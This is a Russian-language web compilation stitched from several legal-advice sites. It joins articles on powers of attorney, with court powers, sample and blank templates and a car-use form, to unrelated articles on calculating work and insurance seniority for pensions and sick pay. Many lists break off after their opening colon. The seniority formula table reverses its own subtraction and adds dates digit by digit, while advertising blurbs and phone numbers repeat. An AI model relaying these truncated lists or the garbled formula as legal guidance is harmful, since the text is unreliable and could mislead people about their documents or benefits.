На основании доверенности могут предоставляться общие или исключительные полномочия. Рассмотрим общие полномочия в рамках делопроизводства (статья 35 ГПК, статья 41 АПК, статья 45 КАС):
Исключительные полномочия в рамках судопроизводства (статья 54 ГПК):
Под общими полномочиями понимаются полномочия, которые не нужно отдельно закреплять в доверенности. Если же это исключительные полномочия, перечень их нужно дословно указывать. Если они не будут указаны, представитель не сможет ими воспользоваться.
Содержание доверенности зависит от ее вида. Но, как правило, в документе присутствуют эти реквизиты:
Иногда в документе указывается возможность передоверия. Предполагает передачу полномочий от одного представителя другому.
assistentus.ru
Бланк доверенности на представление интересов физического лица
Образец доверенности на представление интересов физического лица
Доверенность на представительство физического лица в суде
Форма бланка доверенности на представление интересов физического лица законодателем не определена. Рекомендуем обратить внимание на основные моменты:
В тех случаях, когда простой письменной формы недостаточно, потребуется заверить доверенность у нотариуса.
Для того чтобы разобраться с содержанием доверенности, предложим вашему вниманию типовой образец документа.
Д О В Е Р Е Н Н О С Т Ь
Челябинск 10.09.2019
Я, (Ф. И. О. доверителя), дата рождения и паспортные данные, адрес проживания, настоящим документом уполномочиваю гр. (Ф. И. О. представителя), его паспортные данные или наименование организации, представлять мои интересы во всех судебных, государственных, муниципальных и иных органах, прокуратуре и других организациях со всеми правами, которые предоставлены законом истцу, ответчику, потерпевшему или третьему лицу, в частности:
(Далее укажите все действия, которые вы разрешаете совершить представителю от своего имени.)
Подпись (Ф. И. О. представителя) _______________ удостоверяю.
Не знаете свои права?
Подпишитесь на рассылку Народный СоветникЪ.
Бесплатно, минута на прочтение, 1 раз в неделю.
Доверенность выдана сроком на 6 месяцев.
Ф. И. О. доверителя Подпись
Это общая форма доверенности, содержание которой может быть изменено в зависимости от ситуации.
ОБРАТИТЕ ВНИМАНИЕ! Не все свои полномочия можно передать представителю. Речь идет о комплексе личных прав и обязанностей, которые вправе исполнять только их адресат. Например, алиментные отношения.
Суду доверенности в простой письменной форме недостаточно. Необходима заверка документа нотариусом или иными уполномоченными лицами, в частности:
Но если обратиться к формулировке ст. 53 ГПК РФ, то для определения порядка заверки доверенности там используется слово «могут». То есть получается, что граждане не обязаны обращаться к нотариусу?
Да. Если полномочия представителя определяются в ходе судебного заседания устно или путем составления письменного заявления, то заверение нотариуса не нужно. Обязательное условие в данном случае только одно — личное присутствие доверителя.
Не требуется доверенность на представление в суде законным представителям гражданина. Они показывают документ, который удостоверяет их полномочия. К таковым могут относиться, например, опекуны.
ВАЖНО! В доверенности на представление в суде необходимо указать подробный перечень действий, которые от имени доверителя может совершать другое лицо. Это необходимо для того, чтобы оградить представителя от распоряжения вашими правами, которые вы хотели бы осуществлять лично, например право на заключение мирового соглашения.
***
Больше полезной информации — в рубрике «Доверенность».
nsovetnik.ru
Доверенность представляет собой документ, который содержит полномочия, на основании которых доверенное лицо (которое так же называют «поверенный» или «представитель») может действовать от имени лица выдавшего доверенность (которое так же называют «доверитель» или «представляемый»). Действия представителя, совершенные в пределах предоставленных полномочий, создают права и обязанности непосредственно у представляемого лица, а не у представителя.
Доверенности часто используются в таких жизненных ситуациях, когда нужно совершить юридически значимые действия за другого человека, например: управлять чужим автомобилем, заключить договор купли-продажи чужого автомобиля и поставить его на учет в ГИБДД, получить деньги в банке со счета другого человека, получить письмо или посылку на почте за другого человека, сдать документы в налоговую инспекцию, зарегистрировать недвижимость и в других случаях ведения личных дел через другого человека (представителя). Так же доверенности часто используются при совершении действий от имени организации (юридического лица).
Доверенность может выдать гражданин (физическое лицо) или организация (юридическое лицо).
Обычно доверенность выдается доверителем одному или нескольким представителям. В свою очередь доверенным лицом (представителем) может быть, как гражданин (физическое лицо), так и организация (юридическое лицо). Случаи указания в одной доверенности нескольких представителей очень распространены, поэтому для удобства часто делают несколько экземпляров одной и той же доверенности (по числу представителей).
Доверенность всегда составляется в виде бумажного документа, который обязательно должен содержать:
Это обязательные данные, которые должна содержать каждая доверенность. Если одного из этих элементов не будет, то такая доверенность будет недействительной.
Дополнительно в доверенности можно указать :
Эта информация не является обязательной для указания доверенности, но на практике она часто встречается.
По способу оформления существует два основных вида доверенностей, это:
Доверенность совершенная в простой письменной форме. Для оформления такой доверенности не обязательно обращаться к юристу или нотариусу, так как ее можно составить самостоятельно. Это наиболее распространенный способ оформления доверенности и он подходит во всех случаях, когда по закону не требуется доверенность удостоверенная нотариусом.
Доверенность можно написать от руки или распечатать на принтере, при этом оба эти варианта являются равнозначными с юридической точки зрения. При этом подпись в доверенности должна быть обязательно поставлена собственноручно доверителем. Если доверенность за доверителя подпишет другой человек либо если в доверенности будет поставлено факсимиле то такая доверенность будет недействительной.
Образец заполнения доверенности в простой письменной форме:
Скачать шаблон этой доверенности и посмотреть инструкцию по его заполнению можно в статье «Простая письменная форма доверенности между гражданами»
Доверенность удостоверенная нотариусом (нотариальная доверенность). Это менее распространенный способ оформления доверенности, но такие доверенности требуются для совершения действий, которые влекут для представляемого наиболее значимые правовые последствия: регистрация недвижимости, представительство в суде и другие случаи. Случаи в которых нужна нотариальная доверенность определяются законодательством. Для оформления такой доверенности необходимо обратиться к любому нотариусу с документом удостоверяющим личность доверителя. За услугу по нотариальному удостоверению доверенности взымается плата. В определенных законом случаях, вместо нотариуса доверенность могут удостоверить другие лица: командир воинской части, руководитель лечебного учреждения. Доверенности удостоверенные этими лицами приравниваются к нотариально удостоверенным.
Образец нотариальной доверенности:
doveren.ru
Когда у человека, в виду тех или иных обстоятельств, отсутствует возможность получения или сдачи документации в конкретное предприятия, учреждение или организацию, у него есть право передачи подобного вида полномочий доверенному лицу.
Для этой цели, на имя последнего должна оформляться доверенность, дающая четко определенные полномочия. Этот документ передает одному или даже нескольким доверенным лицам определенные права, достаточные для выполнения обозначенной задачи в интересах доверителя. Дополнительно может присутствовать право передоверия полномочий.
В списке обязательных реквизитов доверенности значатся следующие:
Доверенность для получения документации может предполагать ее выдачу на нескольких доверенных лиц, с присутствием пункта, позволяющего осуществить передоверие полномочий.
Первый случай подразумевает возможность обозначения специальных прав отдельно для каждого избранного представителя.
Еще один вариант здесь предполагает перечисление четко определенных прав для всех выбранных представителей, которым передаются полномочия представления интересов доверителя.
Второй случай предусматривает возможность предоставления доверенному лицу отдельного права передать выбранному им третьему лицу полномочия представления интересов доверителя. При данных обстоятельствах, последний, с соблюдением разумного срока, должен быть уведомлен о подобных действиях.
Необходимо заметить, что если уведомление о перепоручении полномочий третьему лицу не будет направлено, представитель будет нести персональную ответственность за лицо, которому он передаст свои полномочия.
Следует отметить, что форма доверенности, содержащая в себе пункт, определяющий право передоверия, должна в обязательном порядке заверяться через нотариуса.
Дорогие читатели! Наши статьи рассказывают о типовых способах решения юридических вопросов, но каждый случай носит уникальный характер.Если вы хотите узнать, как решить именно Вашу проблему — обращайтесь в форму онлайн-консультанта справа. Это быстро и бесплатно! Или позвоните нам по телефонам:
+7 (499) 703-47-59
Москва, Московская область
+7 (812) 309-16-93
Санкт-Петербург, Ленинградская область
8 (800) 511-69-42
Федеральный номер (звонок бесплатный для всех регионов России)!
Образец доверенности здесь.
ДОВЕРЕННОСТЬ
на сдачу и получение документа
Десятого января две тысячи семнадцатого года
г. Екатеринбург
Я, Сергеев Константин Владимирович, 10 июня 1974 года рождения, гражданство РФ, паспорт серии 48 74 №847824 выдан Октябрьским УВД г. Екатеринбург 19 марта 2009 года, код подразделения 377-834, проживающий по адресу: г. Екатеринбург, ул. Фельдмаршала, 77 кв.47 (Ф.И.О. представляемого — физического лица, гражданство, место жительства, документ, на основании которого установлена его личность, реквизиты данного документа), настоящей доверенностью уполномочиваю Кравцова Дмитрия Николаевича, 04 февраля 1971 года рождения, (Ф.И.О.), паспорт серии 47 48 N 484774, выданный Кировским УВД г. Екатеринбург 16 августа 2008 года, код подразделения 477-374, проживающего(ую) по адресу: г. Екатеринбург, ул. 8-го Марта, 47 кв.72, сдать следующие документы технический паспорт на квартиру 47 дома №77 по ул. Фельдмаршала г. Екатеринбург (содержащий опечатки) в Бюро технической инвентаризации №3 Октябрьского района (указать орган или организацию) с правом оформления всех необходимых для этого документов, а также расписаться за меня и совершить иные действия, связанные с исполнением данного поручения, а также получить экземпляр исправленного технического паспорта (справку или иной документ) по форме утвержденной БТИ (указать вид или содержание документа) в Бюро технической инвентаризации №3 Октябрьского района г. Екатеринбург (указать орган или организацию) с правом оформления всех необходимых для этого документов, а также расписаться за меня и совершить иные действия, связанные с исполнением данного поручения.
Доверенность действительна до двадцатого марта две тысячи семнадцатого года.
Подпись ___________ Сергеев Константин Владимирович
Бланк доверенности здесь.
ДОВЕРЕННОСТЬ
на сдачу и получение документа
_______________________________________________
(дата совершения доверенности — число,
месяц и год указываются прописью)
_______________________________________________
(место совершения доверенности — город (село,
поселок, район, край, область, республика))
Я, ________________________ (Ф.И.О. представляемого — физического лица, гражданство, место жительства, документ, на основании которого установлена его личность, реквизиты данного документа), настоящей доверенностью уполномочиваю ___________________ (Ф.И.О.), паспорт __________ N ___________, выданный ______________, проживающего(ую) по адресу: ______________________, сдать следующие документы __________________________в __________________ (указать орган или организацию) с правом оформления всех необходимых для этого документов, а также расписаться за меня и совершить иные действия, связанные с исполнением данного поручения, а также получить получить ________________ (справку или иной документ) по форме ____________ (указать вид или содержание документа) в __________________ (указать орган или организацию) с правом оформления всех необходимых для этого документов, а также расписаться за меня и совершить иные действия, связанные с исполнением данного поручения.
Доверенность действительна до ________________________________________.
(срок действия доверенностиьуказывается прописью)
Подпись _________________ (Ф.И.О.)
Бланк доверенности здесь.
ДОВЕРЕННОСТЬ
на получение документа
_______________________________________________
(дата совершения доверенности — число, месяц и год указываются прописью)
_______________________________________________
(место совершения доверенности — город (село, поселок, район, край, область, республика))
Я, ________________________ (Ф.И.О. представляемого — физического лица, гражданство, место жительства, документ, на основании которого установлена его личность, реквизиты данного документа), настоящей доверенностью уполномочиваю ___________________ (Ф.И.О.), паспорт __________ N ___________, выданный ______________, проживающего(ую) по адресу: ______________________, получить ________________ (справку или иной документ) по форме ____________ (указать вид или содержание документа) в __________________ (указать орган или организацию) с правом оформления всех необходимых для этого документов, а также расписаться за меня и совершить иные действия, связанные с исполнением данного поручения.
Доверенность действительна до ________________________________________.
(срок действия доверенности указывается прописью)
Подпись _______________________ (Ф.И.О.)
Дорогие читатели! Наши статьи рассказывают о типовых способах решения юридических вопросов, но каждый случай носит уникальный характер.Если вы хотите узнать, как решить именно Вашу проблему — обращайтесь в форму онлайн-консультанта справа. Это быстро и бесплатно! Или позвоните нам по телефонам:
+7 (499) 703-47-59
Москва, Московская область
+7 (812) 309-16-93
Санкт-Петербург, Ленинградская область
8 (800) 511-69-42
Федеральный номер (звонок бесплатный для всех регионов России)!
o-nedvizhke.ru
Из статьи Вы узнаете нужна ли доверенность на управление автомобилем и для каких случаев. Имеется бланк доверенности на управление автомобилем и образец его заполнения.
По доверенности на автомобиль собственник предоставляет право управления транспортным средством другому лицу, которого называют доверенным лицом или представителем. После уточнения в середине 2012 года списка документов, которые обязан иметь с собой водитель, автолюбители часто интересуются, нужна ли сейчас доверенность на управление автомобилем? По действующим Правилам дорожного движения водитель, находящийся за рулем не принадлежащего ему транспортного средства, не обязан подтверждать свои права на пользование автомобилем, а инспектор ГАИ не вправе запрашивать доверенность для проверки. Но это вовсе не значит, что необходимость в доверенности отпала. У доверенного водителя может возникнуть множество ситуаций, в которых потребуется выполнить юридически значимые действия вместо собственника, при этом без доверенности совершить такие действия будет невозможно.
Доверенность обязательно потребуется в следующих ситуациях:
Доверенность не требуется именно для управления автомобилем, а вот для совершения действий, которые очень тесно связанны с использованием автомобиля она очень даже требуется.
Поэтому доверенность на управление автомобилем в 2017 году безусловно нужна. При этом сразу сделаю оговорку, что в доверенности должны быть не просто полномочия на управления, но еще и на совершение сопутствующих юридических формальностей.
Поэтому, чтобы при использовании чужого автомобиля не возникло непредвиденных сложностей, рекомендую скачать на этой странице специальный бланк доверенности на управление автомобилем, заполнить его и положить в машину.
Предлагаемый бланк доверенности составлен для выполнения действий, связанных именно с управлением автомобиля, поэтому он не содержит полномочий на регистрацию, перепродажу или вывоз за границу. Все эти широкие полномочия, связанные с распоряжением автомобилем будут представлены в другой статье.
Образец заполнения доверенности от физического лица:
Скачать доверенность на управление автомобилем 2017 в формате Word
Доверенность заполняется на обычном листе бумаги и в нотариальном заверении не нуждается. Э Поэтому ее можно составить одним из следующих равнозначных способов (простая письменная форма):
Доверенность на автомобиль во многом схожа с обычной доверенностью, но отличается от нее наличием информации об автомобиле. В этой статье мы более подробно рассмотрим порядок заполнения только этого раздела, а остальные разделы доверенности можно будет заполнить воспользовавшись подробными инструкциями, которые содержатся в статье про доверенность от физического лица.
Для заполнения раздела потребуется свидетельство о регистрации. По общему правилу в доверенности должны быть указаны данные об автомобиле в таком объеме, чтобы из них можно было однозначно понять, что право управления предоставлено именно на этот конкретный автомобиль.
Для этого вписываем в бланк данные из свидетельства о регистрации:
В одну доверенность допускается вписать один или несколько автомобилей, принадлежащих доверителю. Если вписать в доверенность несколько транспортных средств, то доверенное лицо будет пользоваться зафиксированными в доверенности полномочиями одновременно в отношении всех перечисленных автомобилей.
В разделе с полномочиями необходимо максимально подробно указываются действия, которые доверенное лицо (водитель) вправе совершать от имени собственника автомобиля. Перед подписанием доверителю необходимо внимательно ознакомиться со списком полномочий, указанных в бланке доверенности и, при необходимости, дописать нужные или удалить лишние полномочия.
Во многих статьях про автомобильные доверенности до сих пор указано, что максимальный срок действия доверенности не может превышать три года. Это устаревшая информация и она не актуальна с 2013 года. С учетом внесенных в Гражданский кодекс РФ изменений, срок действия доверенности не ограничивается и может быть любым. Поэтому лучше выдавать доверенность на длительный срок, чтобы в самый неподходящий момент не обнаружилось, что срок ее действия истек.
В заключение напомню, что даже при наличии доверенности водитель, который управляет чужую машину должен быть вписан в полис ОСАГО либо страховка должна быть оформлена на неограниченный круг лиц.
Если у Вас остались вопросы по оформлению доверенности на автомобиль, то Вы можете задать их в комментариях.
doveren.ru
Ранее для начисления пенсионных выплат очень важно было наличие трудового стажа, исчисляющегося согласно трудовой книжке, так как в это понятие входят только года официального трудоустройства.
Трудовой стаж – это обозначение трудовой деятельности гражданина согласно официальным источникам – трудовой книжке. Он требуется для возможности получать социальные гарантии при достижении определенного возраста.
На размер пособия влияет количество отработанных лет и их качество – условия труда, его вредность, сложность, то есть те показатели, которые могут дать преимущество и обеспечить льготные условия.
Зачем нужен трудовой стаж и что в него входит вы узнаете тут:
В единственном регуляторе трудовых взаимоотношений Трудовом Кодексе нет четких определений трудового стажа, однако в отдельных актах о нем все же идет речь.
Кроме этого об особых условиях труда идет речь в Правительственном Постановлении № 665 от 2014 года.
Также данному вопросу посвящены многие статьи Федерального закона:
Перечень особых должностей и специальностей, утвержденных Постановлением Правительства от 2002 года № 781.
С юридической точки зрения трудовой стаж, это период, дающий возможность при наступлении момента получать государственные выплаты и льготы по старости.
Трудовой стаж можно подтвердить только основному трудовому документу, так что неофициальные года работы не будут учитываться при высчитывании размера выплат.
Исключением только является предпринимательская деятельность, она принимается в расчет, но подтверждать ее необходимо при помощи справки из ПФР.
На размер пособия влияет качество труда, поэтому трудовой стаж согласно официальным источникам имеет несколько видов.
Это общая длительность трудовой и общественной деятельности, при этом перерывы между ними отнимаются, так как в расчет идет только суммарная часть активной работы.
Это значит, что при перерыве вне зависимости от его длительности, поступление на новую работу будет продолжать увеличивать размер стажа, а не начинаться заново, так как учитываются все отработанные года согласно документам, неофициальное трудоустройство будет считаться перерывом.
Важно: именно сумма отработанных лет и будет взята за основу для начисления размера пенсии.
К деятельности, учитываемой при суммировании трудового стажа относиться:
Не подлежат учету:
Это период времени в течение трудового стажа, который специалист использовал для труда в нестандартных социальных условиях или для усовершенствования профессиональных навыков в тяжелых условиях.
Его учет требуется для возможности применения льгот – досрочного выхода на отдых, получения повышенного размера пенсии. Этот стаж проводиться в условиях – тяжелых, вредных, опасных.
Такой период учитывается для граждан практикующих в сфере:
Это период, не прерывающийся моментами отдыха, обычно он происходит при постоянной работе в пределах одной организации.
До 2007 года размер данного стажа использовался при высчитывании выплат по листам нетрудоспособности, теперь размер таких выплат зависит от общего страхового стажа.
Сохраняется непрерывность при соблюдении условий:
Важно: величина этого показателя не имеет влияние на расчет пенсионных выплат.
Трудовой и страховой стаж.С 2015 года страховой стаж является определителем права на пенсионные выплаты.
Этот период, составляющий при выходе на пенсию не менее 5 лет, так как он является основанием для возможности ее получить, потому что именно в данное время происходили отчисления в ПФР.
При этом в расчет могут идти определенные сроки, когда гражданин не трудился, а именно:
Страховой стаж является основанием исчисления годов работы после 2002 года, трудовой стаж для исчисления деятельности до 2002 года.
Именно поэтому в современном законодательстве это понятие, как действующее отсутствует.
В зависимости от причин в подсчете трудового стажа применяется разный алгоритм. Для подсчета необходима трудовая книжка со всеми вкладышами или при ее отсутствии, все трудовые договора, зарплатные ведомости и прочие официальные бумаги, указывающие на официальную трудовую деятельность.
Здесь учитываются все дни трудовой деятельности работника, которая согласно законодательно установленному перечню подлежит подобному учету, так как именно от величины трудового стажа зависит величина выплат.
Важно: ТК РФ установлено, что за месяц берется 30 дней, а за год 360 дней. При данном расчете используется следующая схема:
Работник трудоустроился 30 сентября 2010 года, а уволился 30 декабря 2016 года.
Для вычисления трудового стажа необходимо:
Полученная цифра служит показателем для трудового стажа работника.
Для этого берутся данные с трудовой книжки, при этом необходимо учитывать каждый год на всех местах работы. При этом величина трудового стажа влияет на размер пособия, зависимость следующая:
Важно: метод высчитывания зарплаты такой же, как и в предыдущем случае.
Согласно законодательству в общий трудовой стаж входят года проведенные в армии и различных ведомственных структурах.
Также в трудовой стаж учитываются года:
Важно: до 2002 года также учитывалась и обучение в вузах, однако теперь нет, так как за это не идет страховое отчисление.
Трудовая книжка является основным документом гражданина, подтверждающим его трудовую деятельность, именно от правильности заполнения данного документа зависит размер выплат.
В ней обозначены даты приема и увольнения работника, по которым и исчисляется трудовой стаж.
При этом необходимо помнить, что трудовой стаж учитывается только до 2002 года, а после него порядок вычисления стажа для выплат уже совершенно другой.
В расчет идет сумма периодов работы, а также прочих моментов, при которых осуществляются страховые отчисления.
Трудовой стаж отсутствует в современном законодательстве, как понятие для расчета периода трудовой деятельности, однако он актуален на данный момент, поскольку его используют при учете официального трудоустройства до 2002 года.
Как правильно рассчитать трудовой стаж сотрудников – смотрите в этом видео:
https://www.youtube.com/watch?v=_S74SsIHge4
fbm.ru
Онлайн сервис, робота которого была разработана в соответствии с требованиями законодательных нормативов Российской Федерации.
В 2019 году понятия «трудовой стаж» как такового нет. С декабря 2001 года оно заменено на «страховой стаж». Он подразумевает период, в течение которого работающее лицо производило отчисления в Пенсионный Фонд. Время с момента начала работы и до увольнения засчитывается в выслугу, только при условии произведения выплат.
Программа выполнит расчеты бесплатно. Для того чтобы произвести подсчет нужно заполнить поля, куда ввести дату начала работы и окончания. В случае надобности ввести несколько дат, воспользуйтесь кнопкой «добавить еще» и увеличьте количество полей. Кроме того, можно персонализировать результат, заполнив графу «ФИО». После того, как вы ввели все данные в соответствии с записями в трудовой книжке или других документах, нажимаете «рассчитать». Внизу появится окошко с результатами, фамилией и инициалами
Также с помощью сервиса можно высчитать стаж на ту или иную дату для больничных листов. Алгоритм действий такой:
Расчет стажа в онлайн калькуляторе происходит, опираясь на законы о начислении пенсионных выплат. Поэтому нужно знать требования ФЗ перед заполнением полей в on-line режиме:
Также важно знать, что человек, имеющий право на пенсию по иностранным законам может рассчитывать на получение пенсионных выплат и в РФ. Если эти законы не совпадают с прописанными в законодательстве нормами, то это время в подсчет не войдет.
Электронный вариант подсчета в комфортных домашних условиях. С его помощью вы самостоятельно высчитаете непрерывной выслуги лет, что станет первой ступенькой в определении полагающихся вам выплат.
kalkulyator-stazha.ru
Посчитать стаж работы для больничного листа поможет онлайн калькулятор. Пособие по временной нетрудоспособности, а также пособие по беременности и родам рассчитывается с учетом стажа работника, имеющегося до дня болезни работника (до дня ухода в отпуск по беременности и родам).
С помощью Калькулятора стажа онлайн вы можете рассчитать, каков общий страховой стаж работника для больничного листа (количество полных лет и полных месяцев).
Если работник продолжает работать в последнем периоде, то в качестве самой последней даты укажите день, предшествующий дню наступления болезни (дню ухода в декретный отпуск).
Размер дневного пособия при болезни или травме самого работника, при уходе за больным ребенком (иным членом семьи) составит:
— 60% среднего дневного заработка при стаже от 6 месяцев до 5 лет;
— 80% среднего дневного заработка при стаже от 5 до 8 лет;
— 100% среднего дневного заработка при стаже 8 лет и более.
Пособие по беременности и родам при стаже свыше 6 месяцев рассчитывается исходя из 100% среднего дневного заработка.
Пособие ФСС в связи с несчастным случаем на производстве или профзаболеванием рассчитывается исходя из 100% среднего заработка независимо от стажа.
Неверное определение продолжительности стажа может привести к неправильному исчислению пособия и, как следствие, может повлечь претензии со стороны как ФСС, так и работников.
Рассчитанный страховой стаж указывается в больничном листе в строке «Страховой стаж» (отражается количество полных лет и полных месяцев без дней).
Размер пособия по временной нетрудоспособности, если работник заболел в течение 30 дней после увольнения, не зависит от продолжительности стажа и выплачивается всем в размере 60% среднего заработка. В этом случае при заполнении больничного листа в строке «Страховой стаж» можно указать количество полных лет и месяцев работы сотрудника на дату увольнения из вашей компании.
Страховой стаж подтверждается следующим образом:
— работа по трудовому договору, государственная или муниципальная служба — трудовой книжкой или, например, трудовым договором или справкой, выданной предыдущим работодателем
— служба в армии — военным билетом.
Совместители для подтверждения страхового стажа должны принести копию трудовой книжки, заверенной по месту основной работы.
То есть основной документ для расчета страхового стажа — трудовая книжка.
В конце 2018 года ФСС указал, что исчисление периодов работы (службы, деятельности) производится в календарном порядке из расчета полных месяцев (30 дней) и полного года (12 месяцев). При этом каждые 30 дней указанных периодов переводятся в полные месяцы, а каждые 12 месяцев этих периодов переводятся в полные годы (Письмо ФСС от 17.12.2018 № 02-08-01/17-04-13323л). Запрос, поданный при этом в ФСС, можно посмотреть здесь.
Однако применять эти разъяснения небезопасно, поскольку они не являются нормативным документом. Кроме того, они противоречат ранее данным разъяснениям, согласно которым перевод 30 дней в полные месяцы и 12 месяцев в полные годы предусмотрен только для неполных календарных месяцев и неполных календарных лет (Письмо ФСС РФ от 09.12.2016 N 02-09-14/15-02-24113). Страховой стаж, рассчитанный в соответствии с новыми разъяснениями ФСС, будет выше, чем по старым правилам. А это чревато разногласиями с конкретным отделением фонда.
glavkniga.ru
Общий трудовой стаж представляет собой суммарную продолжительность всех периодов трудовой деятельности гражданина.
Сведения обо всех периодах работы физического лица отражаются в трудовой книжке, которая и является основным документом для расчета стажа.
Трудовой стаж рассчитывается по календарному принципу с учетом следующих обязательных условий:
Алгоритм действий для проведения расчета:
Удобным и быстрым способом подсчета общего трудового стажа (ОТС) является использование следующей формулы:
ОТС | = | Сумма дат начала каждого интервала трудовой деятельности (в формате: ДД.ММ.ГГГГ) | – | Сумма дат конца каждого интервала трудовой деятельности (в формате: ДД.ММ.ГГГГ) |
Для наглядности приведем пример расчета трудового стажа двумя способами:
В трудовой книжке работника отражено три периода трудовой деятельности:
№ п/п | Дата приема на работу | Дата увольнения |
1 | 01.09.1997 | 30.12.2000 |
2 | 15.01.2001 | 30.09.2010 |
3 | 18.10.2010 | 28.02.2018 |
1. Суммируем все периоды начала труд. деятельности:
01.09.1997 + 15.01.2001 + 18.10.2010 = 34.20.6008.
2. Суммируем все периоды конца труд. деятельности:
30.12.2000 + 30.09.2010 + 28.02.2018 = 88.23.6028.
3. Находим разность: 88.23.6028 – 34.20.6008 = 03.0020
4. Преобразуем: 54 дня = 1 месяц 24 дня.
Получаем результат: 20 лет 4 месяца 24 дня.
5. Прибавляем 3 дня, так как у нас имеется 3 периода и нужно зачесть дни увольнения.
Итого общий стаж работника составляет: 20 лет 4 месяца 27 дней.
Период 1 | Расчет | Пояснение |
Дни | 30 – 1 + 1 = 30 | К разности дат прибавляем 1 день, приходящийся на увольнение |
Месяцы | 12 – 9 = 3 | – |
Годы | 2000 – 1997 = 3 | – |
Итого | 3 года 3 месяца 30 дней |
Период 2 | Расчет | Пояснение |
Дни | 30 – 15 + 1 = 16 | К разности дат прибавляем 1 день, приходящийся на увольнение |
Месяцы | 9 – 1 = 8 | – |
Годы | 2010 – 2001 = 9 | – |
Итого | 9 лет 8 месяцев 16 дней |
Период 3 | Расчет | Пояснение |
Дни | 28 – 18 + 1 = 11 | К разности дат прибавляем 1 день, приходящийся на увольнение |
Месяцы | 2 – 10 = – 8, 12 + 2 – 10 = 4 | Поскольку при первичном расчете получилось отрицательное число, занимаем 1 год из следующей строки и переводим в месяцы (12). |
Годы | 2018 – 2010 – 1 = 7 | Учитываем 1 год, который мы заняли при расчете в предыдущей строке |
Итого | 7 лет 4 месяца 11 дней |
№ периода п/п | Годы | Месяцы | Дни |
1 | 3 | 3 | 30 |
2 | 9 | 8 | 16 |
3 | 7 | 4 | 11 |
Итого | 19 | 15 | 57 |
Преобразуем | -30 | ||
+1 | <—— | ||
-12 | |||
+1 | <—— | ||
ВСЕГО | 20 | 4 | 27 |
Результат арифметического расчета получился тот же: 20 лет 4 месяца 27 дней.
Понравилась статья? Поделитесь в соц. сетях:nalog-spravka.ru
При приближении срока назначения пенсионных выплат многих будущих пенсионеров волнует вопрос исчисления стажа, влияющего на размер пенсии. Данная статья будет являться полезным информационным ресурсом, способствующим повышению компетенции граждан Российской Федерации в вопросе подсчёта и подтверждения стажа. Период страхового стажа помимо размера пенсии влияет и используется для расчета больльничного листа, при расчете отпуска работника. В статье рассмотрим правила подсчета и подтверждения трудового стажа сотрудников в 2019.
Согласно Федеральному закону от 15 декабря 2001 г. № 166-ФЗ
«О государственном пенсионном обеспечении в Российской Федерации» (ст.2) трудовой стаж – учитываемая при определении права на отдельные виды пенсий по государственному пенсионному обеспечению суммарная продолжительность периодов работы и иной деятельности, которые засчитываются в страховой стаж для получения пенсии, предусмотренной Федеральным законом от 28 декабря 2013 года № 400-ФЗ «О страховых пенсиях».
В соответствии с Федеральным законом от 28 декабря 2013 г. № 400-ФЗ
«О страховых пенсиях» (ст.3) страховой стаж – учитываемая при определении права на страховую пенсию и ее размера суммарная продолжительность периодов работы и (или) иной деятельности, за которые начислялись и уплачивались страховые взносы в Пенсионный фонд Российской Федерации, а также иных периодов, засчитываемых в страховой стаж.
Таким образом, из определений следует:
Трудовой стаж | Страховой стаж |
трудовой стаж – это продолжительность периодов работы; трудовой стаж учитывается при определении права на отдельные виды пенсий; трудовой стаж засчитывается в страховой стаж для получения пенсии. | страховой стаж – продолжительность периодов работы; страховой стаж учитывается при определении права на страховую пенсию и её размер; в период страхового стажа производится начисление и уплата страховых взносов в Пенсионный фонд Российской Федерации. |
При исчислении страхового стажа учитывается календарный порядок.
Следует обратить внимание на то, что при исчислении страхового стажа гражданам Российской Федерации не учитываются периоды, когда на установление пенсии влияли законы других государств.
При подсчёте страхового стажа периоды работы и иной деятельности используются сведения о застрахованном лице, размещённые в Пенсионном фонде Российской Федерации в соответствии с Федеральным законом «Об индивидуальном (персонифицированном) учете в системе обязательного пенсионного страхования».
В соответствии с Постановлением Правительства РФ от 2 октября 2014 г. № 1015 «Об утверждении Правил подсчета и подтверждения страхового стажа для установления страховых пенсий» для подсчёта трудового стажа за основу необходимо взять сведения, внесённые в трудовую книжку.
Записи в трудовую книжку работодатель обязан вносить с учётом
Постановления Минтруда России от 10.10.2003 № 69 (ред. от 31.10.2016) «Об утверждении Инструкции по заполнению трудовых книжек» (Зарегистрировано в Минюсте России 11.11.2003 № 5219).
Гражданам, чей трудовой стаж начат до применения индивидуального (персонифицированного) учёта в системе обязательного пенсионного страхования, сведения о трудовом стаже возможно предоставить посредством представления следующих документов, содержащих сведения о трудовом стаже (Постановление Правительства РФ от 2 октября 2014 г. № 1015 «Об утверждении Правил подсчета и подтверждения страхового стажа для установления страховых пенсий»):
Таким образом, в случае отсутствия записи в трудовой книжке, работник может предоставить сведения о трудовом стаже посредством предъявления документов, указанных в нормативном акте.
На основании имеющихся у органа, осуществляющего пенсионное обеспечение, данных определяется размер страховой пенсии.
В ст. 20 Федерального закона № 166-ФЗ говорится о том, что в случае, если для назначения пенсии требуется трудовой стаж определенной продолжительности, в него включаются периоды работы и другой общественно полезной деятельности, засчитываемые в страховой стаж, необходимый для получения трудовой пенсии.
В соответствии со ст. 11 и ст. 12 Федерального закона № 400-ФЗ от 28.12.2013 г. в страховой стаж входят следующие периоды:
Подсчёт и подтверждение страхового стажа основывается на Постановлении Правительства РФ от 2 октября 2014 г. № 1015 «Об утверждении Правил подсчета и подтверждения страхового стажа для установления страховых пенсий» (с изменениями и дополнениями).
Согласно данному документу Исчисление продолжительности периодов работы, в том числе на основании свидетельских показаний, и (или) иной деятельности и иных периодов производится в календарном порядке из расчета полного года (12 месяцев). При этом каждые 30 дней периодов работы и (или) иной деятельности и иных периодов переводятся в месяцы, а каждые 12 месяцев этих периодов переводятся в полные годы (п. 47).
Таким образом, при подсчёте стажа учитываются все отработанные дни, которые постепенно переводятся в отработанные месяцы, которые, в свою очередь, переводятся в отработанные годы:
30 дней = 1 месяц
12 месяцев = 1 год
«Особые» периоды при подсчёте трудового стажа
При исчислении страхового стажа необходимо обратить внимание на «особые» периоды:
Периоды | Включение/не включение в страховой стаж |
Периоды, учтенные при установлении пенсии в соответствии с законодательством иностранного государства | Не включаются |
Периоды деятельности лиц, самостоятельно обеспечивающих себя работой, глав и членов крестьянских (фермерских) хозяйств, членов семейных (родовых) общин коренных малочисленных народов Севера, Сибири и Дальнего Востока Российской Федерации, занимающихся традиционными отраслями хозяйствования, периоды работы у физических лиц (группы физических лиц) по договорам | Включаются в страховой стаж при условии уплаты страховых взносов |
Период ухода за детьми обоими родителями | В страховой стаж каждого из родителей засчитывается не более 6 лет ухода, если они не совпадают по времени либо уход осуществляется за разными детьми |
